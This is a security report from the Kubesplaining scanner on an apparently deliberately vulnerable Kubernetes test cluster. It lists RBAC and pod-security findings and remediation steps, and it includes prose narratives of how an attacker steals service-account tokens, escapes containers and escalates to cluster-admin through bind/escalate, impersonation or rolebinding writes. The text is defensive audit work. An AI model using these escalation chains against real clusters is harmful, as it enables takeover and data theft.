K
KubesplainingSecurity Report
v1.35.0 API https://127.0.0.1:36913 Snapshot 2026-06-22T16:10:17Z
Cluster reconnaissance 1 node2 cluster-admins0 LoadBalancers4 NetworkPolicies Click to expand
Cluster shape
Distributionv1.35.0
CloudAmazon EKS
API server 127.0.0.1 loopback
Nodes 1 1×amd64 · Debian GNU/Linux 12 (bookworm)
Kubeletv1.35.0 ×1
Runtimecontainerd://2.2.0 ×1
Inventory 22 namespaces · 36 pods · 89 service accounts
Who already owns this cluster
cluster-admin2 Group/kubeadm:cluster-admins ServiceAccount/rbac-fixtures/sa-cluster-admin
Wildcard verbs4 Group/kubeadm:cluster-admins Group/system:masters ServiceAccount/rbac-fixtures/sa-cluster-admin +1 more
Reads secrets15 Group/kubeadm:cluster-admins Group/system:masters ServiceAccount/kube-system/bootstrap-signer +12 more
Exposed surface
LoadBalancersnone
NodePort / extIP0 NodePort · 0 externalIP
HostNetwork pods8 kube-system/etcd-kubesplaining-e2e-control-plane kube-system/kindnet-kvzgz kube-system/kube-apiserver-kubesplaining-e2e-control-plane +5 more
Privileged pods3 kube-system/kube-proxy-km5gk psa-suppressed/psa-priv-app-54c64bdd84-mf8gp vulnerable/risky-app-5879fbc5d8-4pldg
Mutating webhooks 1
Guardrails
NetworkPolicies 4 across 4 namespaces 12 unprotected
Pod Security enforce=baseline ×1enforce=restricted ×1
Policy engines none
Default-SA pods 20 with token automount
Collection provenance
Permissions seen0 · missing 0
Warnings0
Namespaces scanned22
Duration0.0s
Executive summary

2 independent paths to full cluster takeover

394 findings across 4 chains. Concentration: 75 in rbac-fixtures, 69 in vulnerable.

What the attack paths mean. Individual findings don't tell the whole story. Attackers chain them. This report detected 4 attack chains by looking at how rule IDs, subjects, and resources connect. The attack-paths diagram below makes those connections explicit; each chain is walked through in plain English further down.
61
Critical
168
High
132
Medium
33
Low
Pod Security Admission: 4 pod-security findings suppressed because the workload's namespace carries a pod-security.kubernetes.io/enforce label that would block it at admission time. Run with --admission-mode=off to see every finding regardless of admission state, or --admission-mode=attenuate to keep them visible at reduced severity.
Suppressed findings by namespace
  • psa-suppressed - KUBE-ESCAPE-001 ×1 - KUBE-PODSEC-APE-001 ×1 - KUBE-PODSEC-READONLY-001 ×1 - KUBE-PODSEC-SECCOMP-001 ×1
Risk index
100 / 100
CRITICAL
Weighted from 61 critical, 168 high, 132 medium, 33 low.
  • 4 attack chains detected
  • 75 findings in namespace rbac-fixtures
  • 13 findings on Deployment/vulnerable/risky-app
Critical attack chains

Cluster-takeover paths

The 3 chains below are the most direct routes from a non-system identity to a sensitive sink in this cluster. Each step is annotated with the RBAC permission that enables it; jump to the rule card for full remediation.

  1. ServiceAccount sa-bind-escalate in namespace rbac-fixtures reaches cluster-admin in 1 hop via RBAC bind/escalate bypass.

    1. bind_or_escalate: ServiceAccount/rbac-fixtures/sa-bind-escalatecluster_admin_equivalent (bind,escalate roles|clusterroles)
  2. ServiceAccount sa-cluster-admin in namespace rbac-fixtures reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

    1. wildcard_permission: ServiceAccount/rbac-fixtures/sa-cluster-admincluster_admin_equivalent (*:*:*)
  3. ServiceAccount sa-impersonate in namespace rbac-fixtures reaches cluster-admin in 1 hop via RBAC impersonation.

    1. impersonate: ServiceAccount/rbac-fixtures/sa-impersonatecluster_admin_equivalent (impersonate users|groups)
Top fixes

Highest-impact remediations

Each row collapses every finding sharing the same owning principal or workload into a single edit. Tackle them top-down: the score-reduction column shows how much your cluster risk index drops once the fix lands.

  1. #1
    Sever privilege-escalation paths from ServiceAccount rbac-fixtures/sa-pod-create by dropping the offending RoleBinding or pruning the bound Role's verbs Clears 13 rules · score impact −111.4 Rules: KUBE-CLOUD-IMDS-PIVOT-001, KUBE-PRIVESC-001, KUBE-PRIVESC-002, KUBE-PRIVESC-PATH-AWS-IAM-ROLE, KUBE-PRIVESC-PATH-CLUSTER-ADMIN, KUBE-PRIVESC-PATH-GENERIC, KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS, KUBE-PRIVESC-PATH-NAMESPACE-ADMIN, KUBE-PRIVESC-PATH-NODE-ESCAPE, KUBE-PRIVESC-PATH-SYSTEM-MASTERS, KUBE-RBAC-UNUSED-ROLE-001, KUBE-SA-DAEMONSET-001, KUBE-SA-PRIVILEGED-002
  2. #2
    Drop the dangerous RBAC verbs (impersonate / bind / escalate / token-create / pod-exec) granted to ServiceAccount rbac-fixtures/sa-wildcard Clears 12 rules · score impact −109.6 Rules: KUBE-CLOUD-IMDS-PIVOT-001, KUBE-PRIVESC-007, KUBE-PRIVESC-011, KUBE-PRIVESC-016, KUBE-PRIVESC-017, KUBE-PRIVESC-PATH-CLUSTER-ADMIN, KUBE-PRIVESC-PATH-GENERIC, KUBE-PRIVESC-PATH-NODE-ESCAPE, KUBE-RBAC-UNUSED-ROLE-001, KUBE-SA-PRIVILEGED-001, KUBE-SA-PRIVILEGED-002, KUBE-SECRETS-CROSSNS-001
  3. #3
    Sever privilege-escalation paths from ServiceAccount vulnerable/privileged-reader by dropping the offending RoleBinding or pruning the bound Role's verbs Clears 10 rules · score impact −87.5 Rules: KUBE-PRIVESC-001, KUBE-PRIVESC-002, KUBE-PRIVESC-005, KUBE-PRIVESC-PATH-AWS-IAM-ROLE, KUBE-PRIVESC-PATH-CLUSTER-ADMIN, KUBE-PRIVESC-PATH-GENERIC, KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS, KUBE-PRIVESC-PATH-NAMESPACE-ADMIN, KUBE-PRIVESC-PATH-NODE-ESCAPE, KUBE-PRIVESC-PATH-SYSTEM-MASTERS
  4. #4
    Drop the dangerous RBAC verbs (impersonate / bind / escalate / token-create / pod-exec) granted to ServiceAccount rbac-fixtures/sa-cluster-admin Clears 9 rules · score impact −86.2 Rules: KUBE-PRIVESC-007, KUBE-PRIVESC-011, KUBE-PRIVESC-016, KUBE-PRIVESC-017, KUBE-PRIVESC-PATH-CLUSTER-ADMIN, KUBE-PRIVESC-PATH-GENERIC, KUBE-PRIVESC-PATH-NODE-ESCAPE, KUBE-RBAC-OVERBROAD-001, KUBE-SA-PRIVILEGED-001
  5. #5
    Tighten the Pod Security context on Deployment vulnerable/risky-app to deny host namespaces, hostPath, and privileged containers Clears 12 rules · score impact −76.0 Rules: KUBE-CONTAINER-IMAGE-001, KUBE-CONTAINER-LIMITS-001, KUBE-CONTAINER-PROBE-001, KUBE-ESCAPE-001, KUBE-ESCAPE-003, KUBE-ESCAPE-006, KUBE-IMAGE-LATEST-001, KUBE-NETPOL-IMDS-001, KUBE-PODSEC-APE-001, KUBE-PODSEC-READONLY-001, KUBE-PODSEC-SECCOMP-001, KUBE-SA-DEFAULT-001
Think in graphs

Attack paths

critical edge high edge

Defenders look at findings as a list. Attackers chain them. This graph walks each entry point through the capability it grants to the impact it achieves, so a finding's real danger is the path it joins, not its individual score. Hover for context · click any node for a plain-language explainer.Tab navigation, hover tooltips, and click popovers need JavaScript. Open this report in a browser with JS enabled, or see the per-node explainers in the findings.json companion file.

Showing 10 of 46To keep the diagram readable, capabilities are capped at 10. The slate first guarantees one cap per impact category present in the cluster, then fills remaining slots by severity and score. The Findings tab has the complete list.

Entry point Abused capability Impact Entry point: Deployment risky-app. 1 critical/high on this entity. Deployment risky-app Deployment/vulnerable/risky-app 1 critical/high on this entity Entry point: Deployment socket-mounts-app. 1 critical/high on this entity. Deployment socket-mounts-app Deployment/vulnerable/socket-mounts-app 1 critical/high on this entity Entry point: ServiceAccount privileged-reader. 1 critical/high on this entity. ServiceAccount privileged-reader ServiceAccount/vulnerable/privileged- reader 1 critical/high on this entity Entry point: ServiceAccount sa-bind-escalate. 1 critical/high on this entity. ServiceAccount sa-bind-escalate ServiceAccount/rbac-fixtures/sa-bind- escalate 1 critical/high on this entity Entry point: ServiceAccount sa-cluster-admin. 1 critical/high on this entity. ServiceAccount sa-cluster-admin ServiceAccount/rbac-fixtures/sa- cluster-admin 1 critical/high on this entity Entry point: ServiceAccount sa-impersonate. 1 critical/high on this entity. ServiceAccount sa-impersonate ServiceAccount/rbac-fixtures/sa- impersonate 1 critical/high on this entity Entry point: ServiceAccount sa-nodes-proxy. 1 critical/high on this entity. ServiceAccount sa-nodes-proxy ServiceAccount/rbac-fixtures/sa-nodes- proxy 1 critical/high on this entity Entry point: ServiceAccount sa-rolebinding-mutate. 1 critical/high on this entity. ServiceAccount sa-rolebinding- mutate ServiceAccount/rbac-fixtures/sa- rolebinding-mutate 1 critical/high on this entity Entry point: Deployment psa-unlabeled-app. 1 critical/high on this entity. Deployment psa-unlabeled-app Deployment/psa-unlabeled-fixtures/psa- unlabeled-app 1 critical/high on this entity Entry point: MutatingWebhookConfiguration risky-ignore-webhook. 1 critical/high on this entity. MutatingWebhookConfiguration risky- ignore-webhook MutatingWebhookConfiguration/risky- ignore-webhook 1 critical/high on this entity Abused capability: KUBE-ESCAPE-005 — Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock → /var/run/docker.sock) (severity CRITICAL) KUBE-ESCAPE-005 · score 10.0 Docker socket mounted into Deployment/ vulnerable/socket-mounts-app (volume docker- sock → /var/run/docker.sock) Abused capability: KUBE-ESCAPE-006 — Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app (severity CRITICAL) KUBE-ESCAPE-006 · score 10.0 Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app Abused capability: KUBE-PRIVESC-008 — Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate (severity CRITICAL) KUBE-PRIVESC-008 · score 10.0 Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate Abused capability: KUBE-PRIVESC-009 — Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-fixtures/sa-bind-escalate) (severity CRITICAL) KUBE-PRIVESC-009 · score 10.0 Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/rbac-fixtures/sa-bind- escalate) Abused capability: KUBE-PRIVESC-010 — Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate) (severity CRITICAL) KUBE-PRIVESC-010 · score 10.0 Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-fixtures/sa- rolebinding-mutate) Abused capability: KUBE-PRIVESC-012 — get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa-nodes-proxy) (severity CRITICAL) KUBE-PRIVESC-012 · score 10.0 get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa- nodes-proxy) Abused capability: KUBE-PRIVESC-017 — Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-cluster-admin (severity CRITICAL) KUBE-PRIVESC-017 · score 10.0 Cluster-wide wildcard RBAC permissions on ServiceAccount/rbac-fixtures/sa-cluster-admin Abused capability: KUBE-PRIVESC-005 — Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/vulnerable/privileged-reader (severity HIGH) KUBE-PRIVESC-005 · score 10.0 Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/ vulnerable/privileged-reader Abused capability: KUBE-ESCAPE-003 — Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa-unlabeled-app (severity HIGH) KUBE-ESCAPE-003 · score 8.1 Pod shares host network (hostNetwork: true) in Deployment/psa-unlabeled-fixtures/psa- unlabeled-app Abused capability: KUBE-ADMISSION-001 — MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources (severity HIGH) KUBE-ADMISSION-001 · score 7.9 MutatingWebhookConfiguration risky-ignore- webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources Impact: PRIVILEGE ESCALATION PRIVILEGE ESCALATION Impersonation, container escape, SA takeover Impact: LATERAL REACH LATERAL REACH Cross-namespace, node-local, egress Impact: DATA EXFILTRATION DATA EXFILTRATION Tokens, secrets, application data Impact: CONTROL BYPASS CONTROL BYPASS Admission, webhooks, API policies
Walkthroughs

Attack-chain narratives

Auto-detected from rule combinations in this scan. Each walks through, in attacker order, how the findings connect.

CRITICAL

Privileged workload → node root

  1. An attacker gains code execution in a workload co-scheduled with, or targeting, one of:
    • Deployment/vulnerable/host-ns-app
    • Deployment/vulnerable/risky-app
    • Deployment/vulnerable/socket-mounts-app
  2. The workload is configured to trust the host in one or more ways. Privileged mode grants all capabilities; a hostPath of / mounts the node's root filesystem; hostPID/hostIPC share the host's process and IPC namespaces.
  3. Any one of these alone is enough for a straightforward container escape: write into the host filesystem, exec through /proc/1, or interact with the kubelet's unix socket.
  4. From there, the attacker reads projected tokens for every other pod on the node and pivots into the cluster with those identities.
CRITICAL

Token theft → cluster-admin impersonation

  1. The attacker lands on a workload that mounts ServiceAccount/vulnerable/privileged-reader, or phishes a kubeconfig bound to it.
  2. That identity holds cluster-wide get/list on secrets, which includes service-account tokens in every namespace. The attacker lists kube-system secrets and reads tokens belonging to powerful controllers.
  3. Even without the token read, the same identity can create pods cluster-wide. The attacker schedules a pod that mounts the target service account, execs in, and acts as it.
  4. Either path converges on a cluster-admin-equivalent identity; all policies, secrets, and workloads are now under attacker control.
HIGH

Admission gap → silent enforcement bypass

  1. The webhook that should block dangerous pods fails open: failurePolicy: Ignore means any backend outage (or a targeted denial-of-service) silently disables enforcement for the window the attacker needs.
  2. Its namespace selector excludes at least one sensitive namespace, so workloads placed there skip admission entirely.
  3. The webhook keys off a workload-controlled label. Omit the label and admission doesn't apply.
  4. Any one of the above is a full bypass of the admission gate you thought was catching misconfigurations. In practice, this means every other chain in this report becomes easier to execute.
HIGH

Flat network → unrestricted lateral reach

  1. Namespaces with no NetworkPolicies treat every pod as reachable from every other pod. There is no default-deny, so a compromised workload can reach every service on every pod.
  2. An allow-from-all-namespaces policy is effectively no policy: traffic from any namespace matches, including attacker-controlled namespaces.
  3. Egress 0.0.0.0/0 gives the attacker free outbound reach. Stolen tokens, secrets, and staging data leave the cluster with nothing in the way.
  4. Combined, the attacker sweeps every pod in the cluster for vulnerable services and exfiltrates data without tripping a segmentation boundary.
Where the risk clusters

Severity × attack category

Critical High Medium Low
Module coverage

Findings by module

Risk hotspots

Resource × attack category

Cell color intensity = finding concentration. Rows sorted top-first by severity weight.

Resource
Priv. escalation
Lateral movement
Data exfil
Infra modification
Defense evasion
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
Findings index
Privesc 77 findings · 7 rules
RBAC 38 findings · 20 rules
Pod Security 111 findings · 17 rules
Service Accounts 10 findings · 4 rules
Network Policy 52 findings · 7 rules
Cloud 29 findings · 3 rules
Secrets & ConfigMaps 10 findings · 6 rules
Admission Webhooks 3 findings · 3 rules
Container Security 54 findings · 4 rules
Leastprivilege 10 findings · 3 rules

Privesc

77 findings · 7 rules · 44 critical · 27 high · 6 medium · 0 low
CRITICAL

Subjects can reach cluster-admin equivalent in 1 hop(s)

KUBE-PRIVESC-PATH-CLUSTER-ADMIN 11 subjects Score 9.8–8.8
MITRE ATT&CK: T1078.004T1098T1068T1556

Affected subjects (11)

CRITICAL ServiceAccount/rbac-fixtures/sa-bind-escalate Cluster 9.8
ServiceAccount/rbac-fixtures/sa-bind-escalate can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-bind-escalatecluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-bind-escalate

Subject ServiceAccount/rbac-fixtures/sa-bind-escalate has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-bind-escalate/ via bind_or_escalate (bind,escalate roles|clusterroles): can bypass RBAC escalation checks via bind/escalate

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-bind-escalate (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-bind-escalate (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-bind-escalate, the attacker uses the RBAC bind/escalate bypass (bind,escalate roles|clusterroles) to grant themselves any role they choose, typically cluster-admin. bind/escalate is the carve-out that lets the holder escape RBAC's normal "you can only grant what you have" guardrail.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. RBAC bind/escalate bypass bind_or_escalate

    RBAC has a guardrail: you can only grant permissions you yourself hold. Two verbs override that guardrail: bind (on a Role/ClusterRole) and escalate (also on Roles). Holding either lets the attacker create a binding to a Role they don't have themselves, including cluster-admin.

    Scope matters. Granted by a ClusterRoleBinding the reach is cluster-wide; granted by a RoleBinding it bounds the bypass to the binding's namespace — namespace-admin instead of cluster-admin, but still a complete takeover of every workload, Secret, and ConfigMap in that namespace.

    From ServiceAccount/rbac-fixtures/sa-bind-escalate
    Permission granted bind,escalate roles|clusterroles
    Gives the attacker can bypass RBAC escalation checks via bind/escalate
Remediation
Break the chain at the weakest hop: remove the bind,escalate roles|clusterroles capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-bind-escalate/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the bind,escalate roles|clusterroles capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-bind-escalate/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 9.8
ServiceAccount/rbac-fixtures/sa-cluster-admin can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-cluster-admincluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-cluster-admin/ via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-cluster-admin (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-cluster-admin (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/rbac-fixtures/sa-cluster-admin already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-impersonate Cluster 9.8
ServiceAccount/rbac-fixtures/sa-impersonate can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-impersonatecluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate

Subject ServiceAccount/rbac-fixtures/sa-impersonate has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-impersonate/ via impersonate (impersonate users|groups): can impersonate another identity

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-impersonate (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-impersonate (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker uses RBAC impersonation (the impersonate verb on impersonate users|groups) to send API requests as any identity in the cluster, including system:masters, which the apiserver hard-codes as cluster-admin. Granting impersonate on groups: ["*"] is functionally a cluster-admin grant.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. RBAC impersonation impersonate

    Kubernetes has a built-in "act as another user" feature: the impersonate verb on users, groups, or serviceaccounts. Anyone with that verb can submit requests as any identity, bypassing whatever permissions they don't have themselves.

    Granting impersonate on groups = ["*"] is equivalent to cluster-admin: the holder can impersonate system:masters.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate users|groups
    Gives the attacker can impersonate another identity
Remediation
Break the chain at the weakest hop: remove the impersonate users|groups capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the impersonate users|groups capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-impersonate/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/rbac-fixtures/sa-rolebinding-mutate Cluster 9.8
ServiceAccount/rbac-fixtures/sa-rolebinding-mutate can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-rolebinding-mutatecluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-rolebinding-mutate

Subject ServiceAccount/rbac-fixtures/sa-rolebinding-mutate has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/rbac-fixtures/sa-rolebinding-mutate/ via modify_role_binding (create,update,patch rolebindings|clusterrolebindings): can create or mutate role bindings to grant itself any role

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-rolebinding-mutate (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/rbac-fixtures/sa-rolebinding-mutate (RCE in any application using its identity, leaked token, or compromised image).
  2. Acting as ServiceAccount/rbac-fixtures/sa-rolebinding-mutate, the attacker abuses RoleBinding write access (create,update,patch rolebindings|clusterrolebindings) to add themselves (or any subject they control) to a high-privilege ClusterRoleBinding, typically cluster-admin. They don't need the target role's permissions today, only the ability to change bindings.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-fixtures/sa-rolebinding-mutate
    Permission granted create,update,patch rolebindings|clusterrolebindings
    Gives the attacker can create or mutate role bindings to grant itself any role
Remediation
Break the chain at the weakest hop: remove the create,update,patch rolebindings|clusterrolebindings capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate/).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the create,update,patch rolebindings|clusterrolebindings capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate/)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
